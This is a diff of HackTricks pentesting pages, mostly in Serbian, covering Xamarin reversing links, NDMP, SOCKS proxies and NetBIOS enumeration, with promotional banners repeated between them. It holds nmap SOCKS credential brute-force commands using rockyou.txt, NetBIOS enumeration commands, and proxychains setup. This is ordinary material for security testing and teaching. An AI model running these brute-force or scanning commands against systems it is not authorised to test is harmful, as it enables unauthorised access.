* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -67,16 +68,17 @@ Druga interesantna Frida skripta:
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# **Informacije o protokolu**
Sa [Wikipedije](https://en.wikipedia.org/wiki/NDMP):
Sa [Vikipedije](https://en.wikipedia.org/wiki/NDMP):
> **NDMP**, ili **Network Data Management Protocol**, je protokol namenjen za prenos podataka između uređaja za skladištenje povezanih na mrežu \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) i uređaja za rezervno kopiranje. Ovo eliminiše potrebu za prenosom podataka preko samog serverskog uređaja za rezervno kopiranje, čime se poboljšava brzina i uklanja opterećenje sa serverskog uređaja za rezervno kopiranje.
> **NDMP**, ili **Protokol za upravljanje podacima u mreži**, je protokol namenjen za prenos podataka između uređaja za skladištenje povezanih u mrežu \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) i [uređaja za rezervnu kopiju](https://en.wikipedia.org/wiki/Backup). Ovo uklanja potrebu za prenosom podataka kroz sam server za rezervne kopije, čime se povećava brzina i smanjuje opterećenje na serveru za rezervne kopije.
**Podrazumevani port:** 10000
```text
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,90 +1,43 @@
# 1080 - Testiranje Socks protokola
# 1080 - Pentesting Socks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
## Basic Information
**SOCKS** je protokol koji se koristi za prenos podataka između klijenta i servera preko proksi servera. Peta verzija, **SOCKS5**, dodaje opcionalnu autentifikaciju, koja omogućava samo autorizovanim korisnicima pristup serveru. Glavna funkcija mu je posredovanje TCP konekcija i prosleđivanje UDP paketa, radeći na sesijskom sloju (Sloj 5) OSI modela.
**SOCKS** je protokol koji se koristi za prenos podataka između klijenta i servera putem proksija. Peta verzija, **SOCKS5**, dodaje opcionalnu funkciju autentifikacije, omogućavajući samo ovlašćenim korisnicima pristup serveru. Primarno se bavi proksiranjem TCP veza i prosleđivanjem UDP paketa, delujući na sloju sesije (Sloj 5) OSI modela.
**Podrazumevani port:** 1080
## Enumeracija
## Enumeration
### Provera autentifikacije
### Authentication Check
```bash
nmap -p 1080 <ip> --script socks-auth-info
```
#### Brute Force
### Brute Force
#### Osnovna upotreba
Brute Force (gruba sila)
Osnovna upotreba
```bash
nmap --script socks-brute -p 1080 <ip>
```
#### Napredna upotreba
##### Socks Proxy
Socks proxy je vrsta proxy servera koja omogućava korisnicima da uspostave sigurnu vezu preko mreže. Ova vrsta proxy servera podržava različite protokole, uključujući TCP i UDP, što omogućava korisnicima da prenose različite vrste podataka.
##### Dinamički Socks Proxy
Dinamički Socks proxy je vrsta proxy servera koja omogućava korisnicima da uspostave dinamičku vezu preko mreže. Ova vrsta proxy servera omogućava korisnicima da preusmere svoj saobraćaj preko različitih IP adresa, čime se povećava sigurnost i privatnost.
##### Korišćenje Socks Proxyja za skeniranje mreže
Kada koristite Socks proxy za skeniranje mreže, možete sakriti svoj identitet i izvršiti skeniranje bez otkrivanja vaše stvarne IP adrese. Ovo je korisno za izbegavanje detekcije i zaštite vaše anonimnosti tokom skeniranja.
##### Korišćenje Socks Proxyja za zaobilaženje ograničenja
Socks proxy se takođe može koristiti za zaobilaženje ograničenja pristupa na mreži. Na primer, ako pristup određenim veb lokacijama ili uslugama nije dozvoljen iz vaše zemlje, možete koristiti Socks proxy da biste preusmerili svoj saobraćaj preko servera u drugoj zemlji i pristupili tim resursima.
##### Korišćenje Socks Proxyja za zaštitu privatnosti
Korišćenje Socks proxyja može vam pomoći da zaštitite svoju privatnost tokom surfovanja internetom. Kada koristite Socks proxy, vaša stvarna IP adresa ostaje skrivena, što otežava praćenje vaše aktivnosti na mreži.
##### Korišćenje Socks Proxyja za zaštitu od napada
Socks proxy se takođe može koristiti za zaštitu od određenih vrsta napada. Na primer, ako koristite Socks proxy koji podržava enkripciju, možete zaštititi svoj saobraćaj od prisluškivanja i hakovanja.
##### Korišćenje Socks Proxyja za preusmeravanje saobraćaja
Socks proxy se može koristiti za preusmeravanje saobraćaja sa jednog servera na drugi. Ovo je korisno kada želite da preusmerite saobraćaj sa jednog servera na drugi radi bolje raspodele opterećenja ili zaštite od napada.
```bash
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
```
#### Izlaz
Socks (čarape) je protokol koji omogućava korisnicima da preko mreže šalju podatke preko proxy servera. Ovaj protokol se često koristi za zaobilaženje firewalla i za anonimno surfanje internetom.
Da biste testirali sigurnost Socks servera, možete koristiti nekoliko tehnika:
1. **Provera otvorenih portova**: Skenirajte ciljni server kako biste identifikovali otvorene portove i otkrili Socks servere koji su dostupni za napad.
2. **Provera autentifikacije**: Pokušajte da se prijavite na Socks server koristeći različite kombinacije korisničkih imena i lozinki kako biste proverili da li postoji slabost u autentifikaciji.
3. **Provera ranjivosti**: Identifikujte ranjivosti u implementaciji Socks servera kako biste iskoristili moguće napade, kao što su prekoračenje bafera ili SQL ubrizgavanje.
4. **Provera konfiguracije**: Proverite konfiguraciju Socks servera kako biste identifikovali potencijalne slabosti, kao što su loše postavljene dozvole ili neispravno konfigurisane ACL liste.
5. **Provera protoka podataka**: Analizirajte protok podataka između klijenta i Socks servera kako biste identifikovali potencijalne sigurnosne propuste, kao što su slabe enkripcije ili nezaštićeni prenos podataka.
Napomena: Pre nego što izvršite bilo kakve testove na Socks serveru, uvek se uverite da imate dozvolu od vlasnika sistema. Neovlašćeni pristup ili testiranje može biti protivzakonito.
```
PORT STATE SERVICE
1080/tcp open socks
@ -94,45 +47,15 @@ PORT STATE SERVICE
| Statistics
|_ Performed 1921 guesses in 6 seconds, average tps: 320
```
## Tuneliranje i prosleđivanje porta
## Tunneling and Port Forwarding
### Osnovna upotreba proxychains-a
### Osnovna upotreba proxychains
Podesite proxychains da koristi socks proxy
Podesite proxy lance da koristite socks proxy
```
nano /etc/proxychains4.conf
```
## Pentesting SOCKS
### Introduction
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic. In this section, we will explore various techniques for pentesting SOCKS.
### ProxyChains
ProxyChains is a tool that allows you to run any program through a proxy server. It supports multiple proxy types, including SOCKS. By using ProxyChains, you can redirect your network traffic through a SOCKS proxy and analyze the communication between the client and the server.
To use ProxyChains, you need to configure the proxy settings in the `proxychains.conf` file. You can specify the proxy type, IP address, port, and other parameters. Once the configuration is set, you can run any command with the `proxychains` prefix to route the traffic through the specified proxy.
### Proxychains-ng
Proxychains-ng is an updated version of ProxyChains that supports IPv6 and other improvements. It works in a similar way to ProxyChains, allowing you to run programs through a proxy server. You can configure the proxy settings in the `proxychains.conf` file and use the `proxychains4` or `proxychains6` command to run commands through the proxy.
### ProxyTunnel
ProxyTunnel is a tool that allows you to create a bi-directional encrypted tunnel between a client and a server through a proxy server. It can be used to bypass network restrictions and encrypt communication between the client and the server. ProxyTunnel supports various proxy types, including SOCKS.
To use ProxyTunnel, you need to specify the proxy server, target server, and other parameters in the command line. ProxyTunnel will establish a connection with the proxy server and create a tunnel for the client and server to communicate securely.
### ProxyCap
ProxyCap is a commercial tool that allows you to redirect network connections through a proxy server. It supports various proxy types, including SOCKS. ProxyCap provides a user-friendly interface for configuring the proxy settings and routing the traffic through the proxy.
To use ProxyCap, you need to add a new proxy server in the configuration and specify the proxy type, IP address, port, and other parameters. Once the proxy server is added, you can enable the proxy for specific applications or configure global proxy settings.
### Conclusion
Pentesting SOCKS involves testing the security of SOCKS proxy servers and analyzing the communication between the client and the server. Tools like ProxyChains, ProxyChains-ng, ProxyTunnel, and ProxyCap can be used to redirect network traffic through a SOCKS proxy and assess its vulnerabilities. By understanding the techniques and tools used in pentesting SOCKS, you can identify and mitigate potential security risks.
Editujte dno i dodajte svoj proxy
```
socks5 10.10.10.10 1080
```
@ -140,18 +63,19 @@ Sa autentifikacijom
```
socks5 10.10.10.10 1080 username password
```
#### Više informacija: [Tuneliranje i prosleđivanje porta](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
#### Više informacija: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 137,138,139 - Pentesting NetBios
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## NetBios Name Service
**NetBIOS Name Service** igra ključnu ulogu, uključujući razne usluge kao što su **registracija i razrešavanje imena**, **distribucija datagrama** i **sesijske usluge**, koristeći specifične portove za svaku uslugu.
**NetBIOS Name Service** igra ključnu ulogu, uključujući razne usluge kao što su **registracija i razrešenje imena**, **distribucija datagrama** i **sesijske usluge**, koristeći specifične portove za svaku uslugu.
[Prema Wikipediji](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Usluga imena za registraciju i razrešavanje imena (portovi: 137/udp i 137/tcp).
* Usluga imena za registraciju i razrešenje imena (portovi: 137/udp i 137/tcp).
* Usluga distribucije datagrama za komunikaciju bez veze (port: 138/udp).
* Sesijska usluga za komunikaciju sa vezom (port: 139/tcp).
* Sesijska usluga za komunikaciju orijentisanu na vezu (port: 139/tcp).
### Usluga imena
Da bi uređaj učestvovao u NetBIOS mreži, mora imati jedinstveno ime. To se postiže putem **emitovanog procesa** gde se šalje "Name Query" paket. Ako ne stignu nikakvi prigovori, ime se smatra dostupnim. Alternativno, može se direktno upitati **server za uslugu imena** da proveri dostupnost imena ili da razreši ime u IP adresu. Alati poput `nmblookup`, `nbtscan` i `nmap` se koriste za enumeraciju NetBIOS usluga, otkrivanje imena servera i MAC adresa.
Da bi uređaj učestvovao u NetBIOS mreži, mora imati jedinstveno ime. To se postiže kroz **broadcast proces** gde se šalje paket "Name Query". Ako nema prigovora, ime se smatra dostupnim. Alternativno, može se direktno upitati **Name Service server** da proveri dostupnost imena ili da razreši ime u IP adresu. Alati kao što su `nmblookup`, `nbtscan` i `nmap` se koriste za enumeraciju NetBIOS usluga, otkrivajući imena servera i MAC adrese.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Enumerisanjem NetBIOS servisa možete dobiti imena koje server koristi i MAC adresu servera.
Enumeracijom NetBIOS usluge možete dobiti imena koja server koristi i MAC adresu servera.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
@ -39,23 +40,23 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram Distribution Service
NetBIOS datagrami omogućavaju komunikaciju bez uspostavljanja veze putem UDP-a, podržavajući direktno slanje poruka ili emitovanje svim mrežnim imenima. Ova usluga koristi port **138/udp**.
NetBIOS datagrami omogućavaju komunikaciju bez veze putem UDP-a, podržavajući direktno slanje poruka ili emitovanje svim mrežnim imenima. Ova usluga koristi port **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
```
### Sesija servis
### Session Service
Za uspostavljanje konekcija, **Sesija servis** omogućava razgovor između dva uređaja, koristeći **TCP** konekcije preko porta **139/tcp**. Sesija počinje sa "Zahtevom za sesiju" paketom i može biti uspostavljena na osnovu odgovora. Servis podržava slanje većih poruka, detekciju grešaka i oporavak, pri čemu TCP upravlja kontrolom protoka i retransmisijom paketa.
Za interakcije orijentisane na konekciju, **Session Service** olakšava razgovor između dva uređaja, koristeći **TCP** konekcije preko porta **139/tcp**. Sesija počinje sa "Session Request" paketom i može se uspostaviti na osnovu odgovora. Usluga podržava veće poruke, detekciju grešaka i oporavak, pri čemu TCP upravlja kontrolom protoka i ponovnim slanjem paketa.
Prenos podataka unutar sesije obuhvata **Sesija poruka pakete**, a sesije se završavaju zatvaranjem TCP konekcije.
Prenos podataka unutar sesije uključuje **Session Message pakete**, a sesije se završavaju zatvaranjem TCP konekcije.
Ovi servisi su integralni deo **NetBIOS** funkcionalnosti, omogućavajući efikasnu komunikaciju i deljenje resursa preko mreže. Za više informacija o TCP i IP protokolima, pogledajte njihove odgovarajuće [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) i [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) stranice.
Ove usluge su sastavni deo **NetBIOS** funkcionalnosti, omogućavajući efikasnu komunikaciju i deljenje resursa preko mreže. Za više informacija o TCP i IP protokolima, pogledajte njihove odgovarajuće [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) i [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) stranice.
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
**Pročitajte sledeću stranicu da biste naučili kako da nabrojite ovu uslugu:**
**Pročitajte sledeću stranu da biste saznali kako da enumerišete ovu uslugu:**
{% content-ref url="137-138-139-pentesting-netbios.md" %}
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
@ -84,16 +85,17 @@ Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,61 +1,47 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
